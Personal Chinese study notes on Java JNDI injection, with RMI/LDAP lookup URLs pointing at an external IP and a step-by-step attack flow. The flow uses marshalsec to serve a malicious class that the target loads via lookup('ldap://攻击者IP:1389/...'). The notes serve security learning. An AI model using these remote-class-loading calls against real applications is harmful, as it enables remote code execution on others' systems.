小迪web自用笔记37

jndi,它是一个接口,可以实现对象与服务的调用。

rmi ldap利用

ingection

可以利用这个接口远程调用功能。

这两个协议最重要↓

Javax.Naming.Initialcontext.lookup()专门实现jndi注入

这是过程↑

这是Java JNDI注入漏洞的演示代码,基于IntelliJ IDEA开发环境编写,以下是详细解读:

  1. 技术组件
  • 核心类: javax.naming.InitialContext ,是Java命名与目录接口(JNDI)的核心类,用于访问命名和目录服务(如RMI、LDAP)。

  • 协议调用:通过 lookup 方法发起远程服务调用,示例中包含

  • RMI协议: rmi://47.94.236.117:1099/Test

  • LDAP协议: ldap://47.94.236.117:1389/nx5qkh

  1. 漏洞原理

当代码执行 lookup 时,会远程加载并执行指定地址的class文件(如 nx5qkh 对应的恶意类)。这是JNDI注入漏洞的核心逻辑------攻击者可通过控制远程类的内容,实现恶意代码注入执行。

  1. 场景用途

该代码常用于Java安全漏洞(如Log4j2漏洞)的原理演示,帮助理解"如何通过JNDI远程引用执行恶意代码",是Web安全教学、漏洞研究中的典型案例。

要诱导加载恶意类,核心是利用JNDI支持的远程协议(如RMI、LDAP)的"远程类加载"能力,具体流程如下:

  1. 协议的作用

RMI、LDAP是JNDI支持的远程协议,它们允许通过URL远程引用并加载类。攻击者正是利用这一特性,将恶意类的地址嵌入到JNDI的 lookup 参数中,诱导目标应用主动去远程加载并执行恶意类。

  1. 攻击流程(以LDAP为例)

步骤 操作 技术细节

1 搭建恶意LDAP服务 用 marshalsec 工具启动LDAP服务,配置它将请求重定向到托管恶意类的HTTP服务器(如 http://攻击者IP/恶意类.class

2 构造恶意JNDI URL 生成包含LDAP重定向地址的URL,如 ldap://攻击者IP:1389/恶意类标识

3 诱导目标执行 让目标应用的JNDI代码执行 new InitialContext().lookup("ldap://攻击者IP:1389/恶意类标识")

4 远程加载恶意类 目标应用通过LDAP协议发起请求,被重定向到HTTP服务器下载并执行 恶意类.class ,从而触发攻击

  1. RMI协议的类似逻辑

RMI协议的攻击流程与LDAP类似:攻击者搭建恶意RMI服务,将恶意类的地址注册到RMI服务中,当目标执行 lookup("rmi://攻击者IP/恶意类标识") 时,会远程加载并执行恶意类。

简单来说,协议是"运输通道"------RMI、LDAP协议负责将"加载恶意类"的指令传递给目标应用,最终实现恶意代码的注入执行。

这个漏洞有版本限制。

Fastjson

黑盒测试可以看报错回显

调用类中的方法。

这节课听着懵懵的。

相关推荐
伍哥的传说12 天前
Vite Plugin PWA – 零配置构建现代渐进式Web应用
开发语言·前端·javascript·web app·pwa·service worker·workbox
ftpeak12 天前
从零开始使用 axum-server 构建 HTTP/HTTPS 服务
网络·http·https·rust·web·web app
牢七16 天前
小迪web自用笔记32
web app
前端小超超16 天前
如何配置capacitor 打包的ios app固定竖屏展示?
前端·ios·web app
牢七21 天前
小迪自用web笔记29
web app
牢七25 天前
小迪web自用笔记24
web app
牢七1 个月前
小迪Web自用笔记23
web app
牢七1 个月前
小迪自用web笔记22
web app
dzzzs1 个月前
会议室预约小程序主要功能及预约审批流程
微信小程序·小程序·web app